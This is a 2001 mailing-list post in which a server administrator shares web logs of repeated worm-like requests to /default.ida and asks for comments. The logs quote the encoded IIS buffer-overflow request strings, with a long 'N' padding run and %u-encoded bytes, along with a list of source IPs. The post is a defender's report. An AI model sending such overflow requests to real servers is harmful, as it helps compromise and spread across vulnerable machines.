i get this http request a couple of times every hour via my own home-grown DBIlog.pm (mod-perl/apache) httpd logger:
at | 2001-07-19 10:19:18-05 client | 216.82.8.136 method | GET server | www.serensoft.com url | /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3 [and that's truncated!] who | referer | ? browser | ? status | 404 bytes | 1686 wall | 1 cpuuser | 0 cpusys | 0 cpucuser | 0.47 cpucsys | 0.02 > select at,client from hits where url like '%NNNNNNNN%'; at | client ------------------------+----------------- 2001-07-19 10:19:18-05 | 216.82.8.136 2001-07-19 11:08:14-05 | 206.135.192.133 2001-07-19 12:02:27-05 | 202.142.100.64 2001-07-19 12:10:14-05 | 203.231.125.121 2001-07-19 12:13:29-05 | 169.237.108.208 2001-07-19 13:26:02-05 | 203.193.49.130 2001-07-19 13:50:50-05 | 158.103.185.221 2001-07-19 14:03:21-05 | 213.201.12.36 2001-07-19 14:14:51-05 | 211.254.187.41 2001-07-19 15:19:28-05 | 24.166.65.184 2001-07-19 15:42:57-05 | 202.232.40.70 2001-07-19 15:50:15-05 | 216.76.214.121 2001-07-19 16:01:38-05 | 209.222.212.42 2001-07-19 16:45:44-05 | 194.125.139.18 2001-07-19 16:47:23-05 | 141.154.114.178 2001-07-19 17:09:30-05 | 216.32.193.157 2001-07-19 17:27:37-05 | 65.193.43.221 2001-07-19 17:52:35-05 | 195.221.249.5 2001-08-01 08:40:31-05 | 211.21.58.10 2001-08-01 10:01:30-05 | 208.178.183.141 2001-08-01 11:31:49-05 | 66.68.109.22 2001-08-01 12:31:11-05 | 66.43.172.146 2001-08-01 12:44:27-05 | 209.104.64.140 2001-08-01 13:16:47-05 | 64.120.74.50 2001-08-02 03:46:11-05 | 203.49.23.2 2001-08-02 04:35:34-05 | 210.109.151.207 2001-08-02 05:23:56-05 | 210.164.65.122 2001-08-02 07:08:54-05 | 61.155.127.195 2001-08-02 07:14:42-05 | 134.28.70.208 2001-08-02 07:24:48-05 | 207.31.238.50 2001-08-02 07:47:30-05 | 211.135.200.187 2001-08-02 08:28:11-05 | 63.225.201.1 2001-08-02 09:33:17-05 | 210.83.155.248 2001-08-02 09:52:20-05 | 212.217.71.165 2001-08-02 12:16:00-05 | 61.144.182.73 2001-08-02 12:25:21-05 | 211.172.180.195 2001-08-02 13:06:59-05 | 209.210.64.76 2001-08-02 14:35:14-05 | 203.232.107.127 2001-08-02 16:37:43-05 | 24.9.187.96 2001-08-02 19:06:12-05 | 217.96.22.20 2001-08-02 20:12:17-05 | 148.208.155.14 2001-08-02 21:05:09-05 | 24.147.112.62 2001-08-02 23:11:56-05 | 211.47.137.110 2001-08-02 23:27:56-05 | 61.141.218.15 2001-08-03 00:10:09-05 | 217.109.194.178 2001-08-03 00:31:03-05 | 200.11.199.228 2001-08-03 00:38:22-05 | 207.86.78.211 2001-08-03 01:46:33-05 | 213.120.117.180 2001-08-03 03:31:45-05 | 203.251.198.98 2001-08-03 03:34:30-05 | 24.182.254.161 2001-08-03 03:51:04-05 | 209.15.189.33 2001-08-03 04:53:51-05 | 209.235.17.88 2001-08-03 05:41:50-05 | 212.150.116.13 2001-08-03 06:13:29-05 | 128.103.187.106 2001-08-03 07:11:39-05 | 24.229.76.131 2001-08-03 08:04:41-05 | 24.3.237.233 2001-08-03 08:07:00-05 | 210.148.224.4 2001-08-03 08:52:11-05 | 211.18.254.226 2001-08-03 10:08:10-05 | 211.75.138.244 2001-08-03 11:04:40-05 | 198.174.90.131 2001-08-03 12:31:41-05 | 211.189.140.229 2001-08-03 12:38:40-05 | 24.7.114.249 (62 rows) worse, when i turned on normal text-format logging, i saw this: www.worm.com Accept: */* 64.130.248.101 - - [03/Aug/2001:16:11:29 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 1622 "-" "-" www.worm.com Accept: */* 194.78.202.75 - - [03/Aug/2001:16:12:38 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 1622 "-" "-" this is with a custom log format of LogFormat "%{Host}i %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" virtual so i'm getting "Host: www.worm.com" as an incoming header (which, trust me, is NOT a domain pointing to my server). comments? can i panic now? -- DEBIAN NEWBIE TIP #57 from Steve Kowalik <[EMAIL PROTECTED]> : Wondering HOW TO SET YOUR TIME ZONE? Your system clock may be showing UTC or GMT but you want it to display PDT (or whatever). Just run "tzconfig" as root. (You're sure to have it on your debian system already -- it's provided in package "libc6".) Also see http://newbieDoc.sourceForge.net/ ...